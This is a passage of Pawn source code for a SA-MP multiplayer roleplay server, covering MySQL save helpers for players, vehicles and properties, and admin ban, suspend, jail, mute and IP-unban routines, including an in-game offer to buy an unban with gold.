			 vInfo[insert][gAngle] = 0;
			 SaveKonFloatV(insert, "gAngle", 0);
			 vInfo[insert][gParked] = 0;
			 SaveKonValV(insert, "gParked", 0);
			 vInfo[insert][cMod1] = 0;
			 SaveKonValV(insert, "cMod1", 0);
			 vInfo[insert][cMod3] = 0;
			 SaveKonValV(insert, "cMod3", 0);
			 vInfo[insert][cMod4] = 0;
			 SaveKonValV(insert, "cMod4", 0);
			 vInfo[insert][cMod5] = 0;
			 SaveKonValV(insert, "cMod5", 0);
			 vInfo[insert][cMod6] = 0;
			 SaveKonValV(insert, "cMod6", 0);
			 vInfo[insert][cMod7] = 0;
			 SaveKonValV(insert, "cMod7", 0);
			 vInfo[insert][cMod8] = 0;
			 SaveKonValV(insert, "cMod8", 0);
			 vInfo[insert][cMod9] = 0;
			 SaveKonValV(insert, "cMod9", 0);
			 vInfo[insert][cMod10] = 0;
			 SaveKonValV(insert, "cMod10", 0);
			 vInfo[insert][cMod11] = 0;
			 SaveKonValV(insert, "cMod11", 0);
			 vInfo[insert][cMod12] = 0;
			 SaveKonValV(insert, "cMod12", 0);
			 vInfo[insert][cMod13] = 0;
			 SaveKonValV(insert, "cMod13", 0);
			 vInfo[insert][cMod14] = 0;
			 SaveKonValV(insert, "cMod14", 0);
			 vInfo[insert][cMod15] = 0;
			 SaveKonValV(insert, "cMod15", 0);
			 vInfo[insert][cMod16] = 0;
			 SaveKonValV(insert, "cMod16", 0);
			 vInfo[insert][cMod17] = 0;
			 SaveKonValV(insert, "cMod17", 0);
			 vInfo[insert][cPaintJob] = 3;
			 SaveKonValV(insert, "cPaintJob", 3);
			 vInfo[insert][cKilo] = 0.0;
			 SaveKonFloatV(insert, "cKilo", 0);
			 vInfo[insert][cPanel] = 0;
			 SaveKonValV(insert, "cPanel", 0);
			 vInfo[insert][cDoors] = 0;
			 SaveKonValV(insert, "cDoors", 0);
			 vInfo[insert][cLights] = 0;
			 SaveKonValV(insert, "cLights", 0);
			 vInfo[insert][cTires] = 0;
			 SaveKonValV(insert, "cTires", 0);

				IWantCar[playerid] = 0;
			 PriceCar[playerid] = 0;

				if(mod == 1) {
				PlayerInfo[playerid][pVeh1] = insert;
			 SaveKonVal(playerid, "pVeh1", insert);
				ReturnVehicle(playerid, PINFO[playerid][pVeh1]);
				PutPlayerInVehicle(playerid, PlayerInfo[playerid][pCar_1], 0);
			 SetVehicleParamsEx(PlayerInfo[playerid][pCar_1], 0, 0, 0, 1, 0, 0, 0);
				}
				else if(mod == 2) {
				PlayerInfo[playerid][pVeh2] = insert;
			 SaveKonVal(playerid, "pVeh2", insert);
				ReturnVehicle(playerid, PINFO[playerid][pVeh2]);
				PutPlayerInVehicle(playerid, PlayerInfo[playerid][pCar_2], 0);
			 SetVehicleParamsEx(PlayerInfo[playerid][pCar_2], 0, 0, 0, 1, 0, 0, 0);
				}
				else if(mod == 3) {
				PlayerInfo[playerid][pVeh3] = insert;
			 SaveKonVal(playerid, "pVeh3", insert);
				ReturnVehicle(playerid, PINFO[playerid][pVeh3]);
				PutPlayerInVehicle(playerid, PlayerInfo[playerid][pCar_3], 0);
			 SetVehicleParamsEx(PlayerInfo[playerid][pCar_3], 0, 0, 0, 1, 0, 0, 0);
				}
				else if(mod == 4) {
				PlayerInfo[playerid][pVeh4] = insert;
			 SaveKonVal(playerid, "pVeh4", insert);
				ReturnVehicle(playerid, PINFO[playerid][pVeh4]);
				PutPlayerInVehicle(playerid, PlayerInfo[playerid][pCar_4], 0);
			 SetVehicleParamsEx(PlayerInfo[playerid][pCar_4], 0, 0, 0, 1, 0, 0, 0);
				}
				else if(mod == 5) {
				PlayerInfo[playerid][pVeh5] = insert;
			 SaveKonVal(playerid, "pVeh5", insert);
				ReturnVehicle(playerid, PINFO[playerid][pVeh5]);
				PutPlayerInVehicle(playerid, PlayerInfo[playerid][pCar_5], 0);
			 SetVehicleParamsEx(PlayerInfo[playerid][pCar_5], 0, 0, 0, 1, 0, 0, 0);
				}
				else if(mod == 6) {
				PlayerInfo[playerid][pVeh6] = insert;
			 SaveKonVal(playerid, "pVeh6", insert);
				ReturnVehicle(playerid, PINFO[playerid][pVeh6]);
				PutPlayerInVehicle(playerid, PlayerInfo[playerid][pCar_6], 0);
			 SetVehicleParamsEx(PlayerInfo[playerid][pCar_6], 0, 0, 0, 1, 0, 0, 0);
				}


}
stock SaveKonStr(playerid, name[], str[])
{
	if(IsPlayerConnected(playerid) && gPlayerLogged[playerid] != 0)
	{
	   new query[256];
	   mysql_format(handle, query, 500, "UPDATE `users` SET %s='%e' WHERE pName='%e'", name, str, PINFO[playerid][pName]);
	   mysql_tquery(handle, query, "SendQuery", "");
	}
	return 1;
}

stock SaveKonVal(playerid, name[], value)
{
	if(IsPlayerConnected(playerid) && gPlayerLogged[playerid] != 0)
	{
	   new query[75];
	   mysql_format(handle, query, 500, "UPDATE `users` SET %s='%d' WHERE pName='%e'", name, value, PINFO[playerid][pName]);
	   mysql_tquery(handle, query, "SendQuery", "");
	}
	return 1;
}
stock SaveKonValV(vid, name[], value)
{
	   new query[75];
	   mysql_format(handle, query, 500, "UPDATE `vehicles` SET %s='%d' WHERE vID='%d'", name, value, vid);
	   mysql_tquery(handle, query, "SendQuery", "");
		/*new file[128];
		format(file, sizeof(file), "vehicles/%d.ini",vid);
		new
		INI:ini = INI_Open(file);
		INI_WriteInt(ini, name, value);
		INI_Close(ini);*/
	return 1;
}
stock SaveKonFloatV(vid, name[], Float:value)
{
	new query[75];
	mysql_format(handle, query, 450, "UPDATE `vehicles` SET %s='%f' WHERE vID='%d'", name, value, vid);
	mysql_tquery(handle, query, "SendQuery", "");
/*	new file[128];
	format(file, sizeof(file), "vehicles/%d.ini",vid);
	new
	INI:ini = INI_Open(file);
	INI_WriteFloat(ini, name, value);
	INI_Close(ini);*/
	return 1;
}
stock SaveKonStrV(vid, name[], str[])
{
	   new query[256];
	   mysql_format(handle, query, 500, "UPDATE `vehicles` SET %s='%e' WHERE vID='%d'", name, str, vid);
	   mysql_tquery(handle, query, "SendQuery", "");
		/*new file[128];
		format(file, sizeof(file), "vehicles/%d.ini",vid);
		new
		INI:ini = INI_Open(file);
		INI_WriteString(ini, name, str);
		INI_Close(ini);*/
	return 1;
}
stock SaveKonFloat(playerid, name[], Float:value)
{
	if(IsPlayerConnected(playerid) && gPlayerLogged[playerid] != 0)
	{
	   new query[75];
	   mysql_format(handle, query, 500, "UPDATE `users` SET %s='%f' WHERE pName='%e'", name, value, PINFO[playerid][pName]);
	   mysql_tquery(handle, query, "SendQuery", "");
	}
	return 1;
}

stock SaveKonValH(houseid, name[], value)
{
	new query[75];
	mysql_format(handle, query, 400, "UPDATE `houses` SET %s='%i' WHERE hSQLID='%i'", name, value, houseid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}

stock SaveKonStrH(houseid, name[], str[])
{
	new query[256];
	mysql_format(handle, query, 500, "UPDATE `houses` SET %s='%e' WHERE hSQLID='%i'", name, str, houseid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}
stock SaveKonValB(bizzid, name[], value)
{
	new query[75];
	mysql_format(handle, query, 400, "UPDATE `bizzes` SET %s='%i' WHERE id='%i'", name, value, bizzid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}
stock SaveKonStrB(bizzid, name[], str[])
{
	new query[256];
	mysql_format(handle, query, 500, "UPDATE `bizzes` SET %s='%e' WHERE id='%i'", name, str, bizzid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}
stock SaveKonStrC(cid, name[], str[])
{
	new query[256];
	mysql_format(handle, query, 500, "UPDATE `clans` SET %s='%e' WHERE cSQLid='%i'", name, str, cid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}
stock SaveKonValC(cid, name[], value)
{
	new query[75];
	mysql_format(handle, query, 500, "UPDATE `clans` SET %s='%i' WHERE cSQLid='%i'", name, value, cid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}
stock SaveKonStrF(fid, name[], str[])
{
	new query[256];
	mysql_format(handle, query, 500, "UPDATE `friends` SET %s='%e' WHERE fID='%i'", name, str, fid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}
stock SaveKonValF(fid, name[], value)
{
	new query[75];
	mysql_format(handle, query, 500, "UPDATE `friends` SET %s='%i' WHERE fID='%i'", name, value, fid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}
stock SaveKonFloatH(houseid, name[], Float:value)
{
	new query[75];
	mysql_format(handle, query, 450, "UPDATE `houses` SET %s='%f' WHERE hSQLID='%i'", name, value, houseid);
	mysql_tquery(handle, query, "SendQuery", "");
	return 1;
}

CheckIfBanned(playerid)
{
	new query[256];
	mysql_format(handle, query,256,"SELECT * FROM `users` WHERE pName='%e'",PlayerInfo[playerid][pName]);
	mysql_function_query(handle,query,true,"CheckBanned","i",playerid);
}
forward CheckBanned(playerid);
public CheckBanned(playerid)
{
	if(!cache_get_row_count(handle)) {return 0;}
	PBANNED[playerid] = 1;
	new banned,banreason[1000],bannedby[40],bannedtime[260],bandays;
	banned = cache_get_row_int(0,76,handle);
	cache_get_row(0,78,banreason,handle,1000);
	cache_get_row(0,79,bannedby,handle,40);
	cache_get_row(0,80,bannedtime,handle,260);
	bandays = cache_get_row_int(0, 124, handle);

	/*PINFO[playerid][pVeh1] = cache_get_row_int(0, 112, handle),
	PINFO[playerid][pVeh2] = cache_get_row_int(0, 113, handle),
	PINFO[playerid][pVeh3] = cache_get_row_int(0, 114, handle),
	PINFO[playerid][pVeh4] = cache_get_row_int(0, 115, handle),
	PINFO[playerid][pVeh5] = cache_get_row_int(0, 116, handle),
	PINFO[playerid][pVeh6] = cache_get_row_int(0, 117, handle),
	PINFO[playerid][pCar_1] = cache_get_row_int(0, 118, handle);
	PINFO[playerid][pCar_2] = cache_get_row_int(0, 119, handle);
	PINFO[playerid][pCar_3] = cache_get_row_int(0, 120, handle);
	PINFO[playerid][pCar_4] = cache_get_row_int(0, 121, handle);
	PINFO[playerid][pCar_5] = cache_get_row_int(0, 122, handle);
	PINFO[playerid][pCar_6] = cache_get_row_int(0, 123, handle);*/


	if(banned == 2)
	{
	   for(new i = 0;i<100;i++) SCM(playerid,COLOR_WHITE," ");
	   new sttr[1000];
	   format(sttr,1000,"You are permanently banned from this server by %s",bannedby);
	   SCM(playerid,COLOR_BAN,sttr);
	   format(sttr,1000,"Ban Reason: %s",banreason);
	   SCM(playerid,COLOR_BAN,sttr);
	   format(sttr,1000,"You were banned at: %s",bannedtime);
	   SCM(playerid,COLOR_BAN,sttr);
	   //KickWithMessage(playerid,COLOR_BAN,"If you think this ban is wrong, report it to admins with another account.");
	   NaroJelo[playerid] = 1;
	   SetPlayerVirtualWorld(playerid, playerid+85);
	   SetPlayerInterior(playerid, playerid+85);
	   TogglePlayerSpectating(playerid,1);
	   ShouldGoldPay[playerid]=700;
       ShowPlayerDialog(playerid,7086,DIALOG_STYLE_PASSWORD,"Banned Account","Your account is permanently banned.\nAnyway you can unban your account with gold.\nIf you want to get unbanned you can pay 700 golds by entering your password below in 30 seconds:\nNote> Only this account will get unbanned.","Pay","Quit");
       KickMikonamPlayerX[playerid]=SetTimerEx("KickMikonamPlayer", 30000, true, "i", playerid);
	}
	if(banned == 3)
	{
	   for(new i = 0;i<100;i++) SCM(playerid,COLOR_WHITE," ");
	   new sttr[1000];
	   format(sttr,1000,"You are permanently banned from this server by %s",bannedby);
	   SCM(playerid,COLOR_BAN,sttr);
	   format(sttr,1000,"Ban Reason: %s",banreason);
	   SCM(playerid,COLOR_BAN,sttr);
	   format(sttr,1000,"You were banned at: %s",bannedtime);
	   SCM(playerid,COLOR_BAN,sttr);
	   //KickWithMessage(playerid,COLOR_BAN,"Your account is suspended and there isn't any way to get unbanned.");
       NaroJelo[playerid] = 1;
	   SetPlayerVirtualWorld(playerid, playerid+85);
	   SetPlayerInterior(playerid, playerid+85);
	   TogglePlayerSpectating(playerid,1);
	   ShouldGoldPay[playerid]=1000;
       ShowPlayerDialog(playerid,7086,DIALOG_STYLE_PASSWORD,"Banned Account","Your account is permanently suspended.\nAnyway you can unban your account with gold.\nIf you want to get unbanned you can pay 1,000 golds by entering your password below in 30 seconds:\nNote> Only this account will get unbanned.","Pay","Quit");
       KickMikonamPlayerX[playerid]=SetTimerEx("KickMikonamPlayer", 30000, true, "i", playerid);
	}
	else if(banned == 1)
	{
	   new bool:IsBanned = true;
	   new ssal[5], smah[5], srooz[5], ssaat[5], sdaqiqe[5], ssanie[5],timekol[128], usal, umah, urooz, usaat, csal, cmah, crooz, csaat, cdaqiqe, csanie;
	   ssal[0] = bannedtime[0];
	   ssal[1] = bannedtime[1];
	   smah[0] = bannedtime[3];
	   smah[1] = bannedtime[4];
	   srooz[0] = bannedtime[6];
	   srooz[1] = bannedtime[7];
	   ssaat[0] = bannedtime[9];
	   ssaat[1] = bannedtime[10];
	   sdaqiqe[0] = bannedtime[12];
	   sdaqiqe[1] = bannedtime[13];
	   ssanie[0] = bannedtime[15];
	   ssanie[1] = bannedtime[16];
	   usaat = strval(ssaat)+(24*bandays);
	   urooz = strval(srooz);
	   umah = strval(smah);
	   usal = strval(ssal);
	   getdate(csal, cmah, crooz);
	   gettime(csaat, cdaqiqe, csanie);
	   for(new i = 0;i<50;i++)
	   {
		  if(usaat >= 24)
		  {
			 usaat -= 24;
			 urooz ++;
		  }
	   }
	   for(new i = 0;i<50;i++)
	   {
		  if(urooz >= GetDaysInMonth(umah, usal))
		  {
			 urooz -= GetDaysInMonth(umah, usal);
			 umah ++;
		  }
	   }
	   for(new i = 0;i<50;i++)
	   {
		  if(umah >= 12)
		  {
			 umah -= 12;
			 usal ++;
		  }
	   }
	   format(timekol, 128, "%02d%02d%02d%02d", usal, umah, urooz, usaat);
	   new unbanunix = strval(timekol);
	   format(timekol, 128, "%02d%02d%02d%02d", csal-2000, cmah, crooz, csaat);
	   new alanunix = strval(timekol);
	   if(alanunix >= unbanunix) IsBanned = false;
	   new timetodate[256];

	   format(timetodate, 256, "%02d/%02d/%02d %02d:00:00", usal, umah, urooz, usaat);
	   if(IsBanned == true)
	   {
		  new string[256];
		  format(string, 256, "You are banned from this server by %s.", bannedby);
		  SCM(playerid,COL_SYN,string);
		  format(string, 256, "Ban Reason: %s (You were banned at %s)",banreason,bannedtime);
		  SCM(playerid,COL_SYN,string);
		  format(string, 256, "You will be unbanned automatically in: %s",timetodate);
		  SCM(playerid, COLOR_BAN, string);
		  //KickWithMessage(playerid,COLOR_BAN,"Wait for unban.");
          NaroJelo[playerid] = 1;
		  SetPlayerVirtualWorld(playerid, playerid+85);
	      SetPlayerInterior(playerid, playerid+85);
	      TogglePlayerSpectating(playerid,1);
		  ShouldGoldPay[playerid]=bandays*10;
	      ShouldMoneyPay[playerid]=bandays*100000;
	      new svx[300];
	      format(svx, sizeof(svx), "Your account is temporary banned.\nAnyway you can unban your account with gold.\nIf you want to get unbanned you can pay %s golds or %s money to get unbanned.\nNote> Only this account will get unbanned.", FormatNumber(ShouldGoldPay[playerid]), FormatNumber(ShouldMoneyPay[playerid]));
          ShowPlayerDialog(playerid,7087,DIALOG_STYLE_PASSWORD,"Banned Account",svx,"Gold","Money");
          KickMikonamPlayerX[playerid]=SetTimerEx("KickMikonamPlayer", 30000, true, "i", playerid);
		  return 1;
	   }
	   else
	   {
		  new query[100];
		  mysql_format(handle, query, 256, "UPDATE `users` SET pBanned='0' WHERE pName='%e'", PINFO[playerid][pName]);
		  mysql_tquery(handle, query, "SendQuery", "");
	   }
	}
	return 0;
}
forward SendQuery();
public SendQuery()
{
	return 1;
}
Taligh(playerid, taraf[], dalil[])
{
new tarafid = ReturnUser2(taraf);
new Name[25];
GetPlayerName(playerid, Name, sizeof(Name));
if(IsPlayerConnected(tarafid))
{
if(playerid == tarafid) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't ban yourself.");
if(PINFO[tarafid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_SINA3, "Error: You couldn't suspend an admin.");
if(PINFO[tarafid][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't suspend a higher admin level.");
PINFO[tarafid][pBanned] = 3;
SaveKonVal(tarafid, "pBanned", PINFO[tarafid][pBanned]);
PINFO[tarafid][pBanDays] = 0;
SaveKonVal(tarafid, "pBanDays", PINFO[tarafid][pBanDays]);
new bantime[200];
new sal, mah, rooz, saat, daqiqe, sanie;
getdate(sal, mah, rooz);
gettime(saat, daqiqe, sanie);
sal -= 2000;
format(bantime, 200, "%02d/%02d/%02d %02d:%02d:%02d", sal, mah, rooz, saat, daqiqe, sanie);
strmid(PlayerInfo[tarafid][pBanTime],bantime,0,strlen(bantime),80);
SaveKonStr(tarafid, "pBanTime", bantime);
strmid(PlayerInfo[tarafid][pBannedBy],Name,0,strlen(Name),40);
SaveKonStr(tarafid, "pBannedBy", Name);
strmid(PlayerInfo[tarafid][pBanReason],dalil,0,strlen(dalil),128);
SaveKonStr(tarafid, "pBanReason", dalil);
new query[256];
mysql_format(handle, query, 256, "INSERT INTO `banneds` (`IP`,`BannedBy`,`BannedReason`,`bannedtime`)VALUES ('%e','%e','%e','%e')",PINFO[tarafid][pIp],Name,dalil,bantime);
mysql_tquery(handle, query, "SendQuery", "");
new stringZ[144];
format(stringZ, 300, "AdmCmd: %s has been permanently banned by admin %s, Reason: %s",taraf,Name,dalil);
AddLog(PINFO[tarafid][pName], PINFO[playerid][pName], dalil, "Permanently", 9);
SendClientMessageToAll(COLOR_LIGHTRED, stringZ);
KickWithMessage(tarafid, COLOR_LIGHTRED, "You have been banned.");
}
else
{
new query[256];
mysql_format(handle, query, 256, "SELECT * FROM `users` WHERE pName='%e'",taraf);
mysql_tquery(handle, query, "TalighOffline", "iss", playerid, taraf, dalil);
}
return 1;
}
BanPlayer(playerid, taraf[], days, reason[], UseIP = 1, cheat)
{
	new Name[512];
	if(IsPlayerConnected(playerid) && cheat == 0) {format(Name, 512, PINFO[playerid][pName]);}
	else {format(Name, 512, "AdmBot");}
	new tarafid = ReturnUser2(taraf);
	if(playerid == tarafid && cheat == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You cannot ban yourself.");
	if(IsPlayerConnected(tarafid))
	{
		if(PINFO[tarafid][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "you cannot ban an admin higher than you.");

	   if(days != 0) PINFO[tarafid][pBanned] = 1;
	   else PINFO[tarafid][pBanned] = 2;
	   SaveKonVal(tarafid, "pBanned", PINFO[tarafid][pBanned]);
	   PINFO[tarafid][pBanDays] = days;
	   SaveKonVal(tarafid, "pBanDays", PINFO[tarafid][pBanDays]);
	   new bantime[200];
	   new sal, mah, rooz, saat, daqiqe, sanie;
	   getdate(sal, mah, rooz);
	   gettime(saat, daqiqe, sanie);
	   sal -= 2000;
	   format(bantime, 200, "%02d/%02d/%02d %02d:%02d:%02d", sal, mah, rooz, saat, daqiqe, sanie);
	   strmid(PlayerInfo[tarafid][pBanTime],bantime,0,strlen(bantime),80);
	   SaveKonStr(tarafid, "pBanTime", bantime);
	   strmid(PlayerInfo[tarafid][pBannedBy],Name,0,strlen(Name),40);
	   SaveKonStr(tarafid, "pBannedBy", Name);
	   strmid(PlayerInfo[tarafid][pBanReason],reason,0,strlen(reason),128);
	   SaveKonStr(tarafid, "pBanReason", reason);

	   if(UseIP == 1)
	   {
		  if(days == 0)
		  {
			 new query[256];
			 mysql_format(handle, query, 256, "INSERT INTO `banneds` (`IP`,`BannedBy`,`BannedReason`,`bannedtime`)VALUES ('%e','%e','%e','%e')",PINFO[tarafid][pIp],Name,reason,bantime);
			 mysql_tquery(handle, query, "SendQuery", "");
		  }
	   }
	   new stringt[300];
	   if(days != 0) {
		format(stringt, 300, "AdmCmd: %s has been banned by admin %s for %i days, Reason: %s",taraf,Name,days,reason);


		}
	   else {


		format(stringt, 300, "AdmCmd: %s has been permanently banned by admin %s, Reason: %s",taraf,Name,reason);
		AddLog(PINFO[tarafid][pName], PINFO[playerid][pName], reason, "Permanently", 9);
		}
	   SendClientMessageToAll(COLOR_LIGHTRED, stringt);
	   KickWithMessage(tarafid, COLOR_LIGHTRED, "You have been banned.");
	}
	else
	{
	   new query[256];
	   mysql_format(handle, query, 256, "SELECT * FROM `users` WHERE pName='%e'",taraf);
	   mysql_tquery(handle, query, "BanOfflinePlayer", "isisi", playerid, taraf, days, reason, UseIP);
	}
	return 1;
}
JailPlayer(playerid, taraf[], days, reason[])
{
	new Name[MAX_PLAYER_NAME];
	if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
	else format(Name, MAX_PLAYER_NAME, "AdmBot");
	new tarafid = ReturnUserEx(taraf);
	if(playerid == tarafid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't ajail yourself.");
	if(IsPlayerConnected(tarafid))
	{
	if(IsPlayerConnected(playerid)) if(PINFO[tarafid][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't ajail a higher admin.");
	   PINFO[tarafid][pJailTime] = days*60;
	   SaveKonVal(tarafid, "pJailTime", PINFO[tarafid][pJailTime]);
//	   new bantime[200];

	   strmid(PlayerInfo[tarafid][pJailBy],Name,0,strlen(Name),40);
	   SaveKonStr(tarafid, "pJailBy", Name);
	   strmid(PlayerInfo[tarafid][pJailReason],reason,0,strlen(reason),128);
	   SaveKonStr(tarafid, "pJailReason", reason);
		PlayerInfo[tarafid][pAdminJailed] = 1;
		SaveKonVal(tarafid, "pAdminJailed", 1);
		ResetPlayerKolang(tarafid);
	   SetPlayerWantedLevel(tarafid,0);
		SpawnPlayer(tarafid);
		//FreezePlayer(tarafid);
		new sec[64];
		format(sec, sizeof(sec), "%d",days);
		AddLog(PINFO[tarafid][pName], PINFO[playerid][pName], reason, sec, 12);

	   new stringt[300];
	   format(stringt, 300, "AdmCmd: %s has been Admin-Jailed for %d minutes by %s, Reason: %s",taraf,days,Name,reason);
	   SendClientMessageToAll(COLOR_LIGHTRED, stringt);
	}
	else
	{
	   new query[256];
	   mysql_format(handle, query, 256, "SELECT * FROM `users` WHERE pName='%e'",taraf);
	   mysql_tquery(handle, query, "JailOfflinePlayer", "isis", playerid, taraf, days, reason);
	}
	return 1;
}
MutePlayer(playerid, taraf[], days, reason[])
{
	new Name[MAX_PLAYER_NAME];
	if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
	else format(Name, MAX_PLAYER_NAME, "AdmBot");
	new tarafid = ReturnUserEx(taraf);
	if(playerid == tarafid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't mute yourself.");
	if(IsPlayerConnected(tarafid))
	{
	if(IsPlayerConnected(playerid)) if(PINFO[tarafid][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't mute a higher admin.");
	   PINFO[tarafid][pMuteTime] = days*60;
	   SaveKonVal(tarafid, "pMuteTime", PINFO[tarafid][pMuteTime]);
//	   new bantime[200];

	   strmid(PlayerInfo[tarafid][pMuteBy],Name,0,strlen(Name),40);
	   SaveKonStr(tarafid, "pMuteBy", Name);
	   strmid(PlayerInfo[tarafid][pMuteReason],reason,0,strlen(reason),128);
	   SaveKonStr(tarafid, "pMuteReason", reason);


	   new stringt[300];
	   format(stringt, 300, "AdmCmd: Player %s was muted for %d minutes By Admin %s, Reason: %s", taraf, days, Name, reason);
	   SendClientMessageToAll(COLOR_LIGHTRED, stringt);

		new sec[64];
		format(sec, sizeof(sec), "%d",days);
		AddLog(PINFO[tarafid][pName], PINFO[playerid][pName], reason, sec, 13);
	}
	else
	{
	   new query[256];
	   mysql_format(handle, query, 256, "SELECT * FROM `users` WHERE pName='%e'",taraf);
	   mysql_tquery(handle, query, "MuteOfflinePlayer", "isis", playerid, taraf, days, reason);
	}
	return 1;
}
BanPlayer2(playerid, taraf[], days, reason[], UseIP = 1)
{
	new Name[MAX_PLAYER_NAME];
	if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
	else format(Name, MAX_PLAYER_NAME, "AdmBot");
	new tarafid = ReturnUserEx(taraf);
	if(playerid == tarafid) return SCM(playerid, COLOR_YELLOW2, "Error: You cannot ban yourself.");
	if(PINFO[tarafid][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "you cannot ban an admin higher than you.");
	if(IsPlayerConnected(tarafid))
	{
	   if(days != 0) PINFO[tarafid][pBanned] = 1;
	   else PINFO[tarafid][pBanned] = 2;
	   SaveKonVal(tarafid, "pBanned", PINFO[tarafid][pBanned]);
	   PINFO[tarafid][pBanDays] = days;
	   SaveKonVal(tarafid, "pBanDays", PINFO[tarafid][pBanDays]);
	   new bantime[200];
	   new sal, mah, rooz, saat, daqiqe, sanie;
	   getdate(sal, mah, rooz);
	   gettime(saat, daqiqe, sanie);
	   sal -= 2000;
	   format(bantime, 200, "%02d/%02d/%02d %02d:%02d:%02d", sal, mah, rooz, saat, daqiqe, sanie);
	   strmid(PlayerInfo[tarafid][pBanTime],bantime,0,strlen(bantime),80);
	   SaveKonStr(tarafid, "pBanTime", bantime);
	   strmid(PlayerInfo[tarafid][pBannedBy],Name,0,strlen(Name),40);
	   SaveKonStr(tarafid, "pBannedBy", Name);
	   strmid(PlayerInfo[tarafid][pBanReason],reason,0,strlen(reason),128);
	   SaveKonStr(tarafid, "pBanReason", reason);

		new banreason[1000],bannedby[40],bannedtime[260],bandays;
//	banned = cache_get_row_int(0,76,handle);
	cache_get_row(0,78,banreason,handle,1000);
	cache_get_row(0,79,bannedby,handle,40);
	cache_get_row(0,80,bannedtime,handle,260);
	bandays = cache_get_row_int(0, 124, handle);

	new ssal[5], smah[5], srooz[5], ssaat[5], sdaqiqe[5], ssanie[5], usal, umah, urooz, usaat, csal, cmah, crooz, csaat, cdaqiqe, csanie;
	ssal[0] = bannedtime[0];
	ssal[1] = bannedtime[1];
	smah[0] = bannedtime[3];
	smah[1] = bannedtime[4];
	srooz[0] = bannedtime[6];
	srooz[1] = bannedtime[7];
	ssaat[0] = bannedtime[9];
	ssaat[1] = bannedtime[10];
	sdaqiqe[0] = bannedtime[12];
	sdaqiqe[1] = bannedtime[13];
	ssanie[0] = bannedtime[15];
	ssanie[1] = bannedtime[16];
	usaat = strval(ssaat)+(24*bandays);
	urooz = strval(srooz);
	umah = strval(smah);
	usal = strval(ssal);
	getdate(csal, cmah, crooz);
	gettime(csaat, cdaqiqe, csanie);
	for(new i = 0;i<50;i++)
	{
		if(usaat >= 24)
		{
			usaat -= 24;
			urooz ++;
		}
	}
	for(new i = 0;i<50;i++)
	{
		if(urooz >= GetDaysInMonth(umah, usal))
		{
			urooz -= GetDaysInMonth(umah, usal);
			umah ++;
		}
	}
	for(new i = 0;i<50;i++)
	{
		if(umah >= 12)
		{
			umah -= 12;
			usal ++;
		}
	}
	new timetodate[256];

	format(timetodate, 256, "%02d/%02d/%02d %02d:00:00", usal, umah, urooz, usaat);

		AddLog(taraf, PINFO[playerid][pName], reason, timetodate, 9);
	   if(UseIP == 1)
	   {
		  if(days == 0)
		  {
			 new query[256];
			 mysql_format(handle, query, 256, "INSERT INTO `banneds` (`IP`,`BannedBy`,`BannedReason`,`bannedtime`)VALUES ('%e','%e','%e','%e')",PINFO[tarafid][pIp],Name,reason,bantime);
			 mysql_tquery(handle, query, "SendQuery", "");
		  }
	   }
	   new stringt[300];
	   if(days != 0) format(stringt, 300, "[Admin-Warn]: {ffffff}%s has been sbanned by admin %s for %i days, Reason: %s",taraf,Name,days,reason);
	   else format(stringt, 300, "[Admin-Warn]: {ffffff}%s has been sbanned by admin %s, Reason: %s",taraf,Name,reason);
	   ABroadCast(COLOR_AdminWarn,stringt,1);
	   KickWithMessage(tarafid, COLOR_LIGHTRED, "You have been banned.");
	}
	else
	{
	   new query[256];
	   mysql_format(handle, query, 256, "SELECT * FROM `users` WHERE pName='%e'",taraf);
	   mysql_tquery(handle, query, "BanOfflinePlayer2", "isisi", playerid, taraf, days, reason, UseIP);
	}
	return 1;
}
UnbanIp(bannerid,ip[])
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `banneds` WHERE IP='%e'",ip);
	mysql_tquery(handle, query, "OnIpUnBan", "is", bannerid, ip);
	return 1;
}
function OnIpUnBan(bannerid, ip[])
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(bannerid, COLOR_YELLOW2,"Error: That ip isn't exists in ban list.");
	new query[512];
	mysql_format(handle, query,512,"DELETE FROM `banneds` WHERE IP='%e'",ip);
	mysql_function_query(handle,query,false,"SendQuery","");
	SCM(bannerid,COLOR_SINA3,"That ip get unbanned successfully.");
	ReadAccountBar();
	new string[100];
	format(string, 100, "[Admin-Warn]: {FFFFFF}Admin %s unbanned ip %s", RPName(bannerid), ip);
	ABroadCast(COLOR_AdminWarn,string,1);
	return 1;
}
function ShowHelpers(playerid)
{
	new longstr[1512],rows=cache_num_rows(),tmp[MAX_PLAYER_NAME+1],str[64];
	format(longstr,sizeof(longstr),"Name\tLevel");
	for(new i=0;i<rows;i++)
	{
	   cache_get_field_content(i,"pName",tmp,handle,sizeof(tmp));
	   format(str,sizeof(str),"\n%s\t%i",tmp,cache_get_field_content_int(i,"pHelper"));
	   strcat(longstr,str);
	}
	ShowPlayerDialog(playerid,85,DIALOG_STYLE_TABLIST_HEADERS,"All helpers:",longstr,"Done","");
	return 1;
}
/*
function ShowRefffz(playerid, myref)
{
    new rows = cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: No body used this referral.");
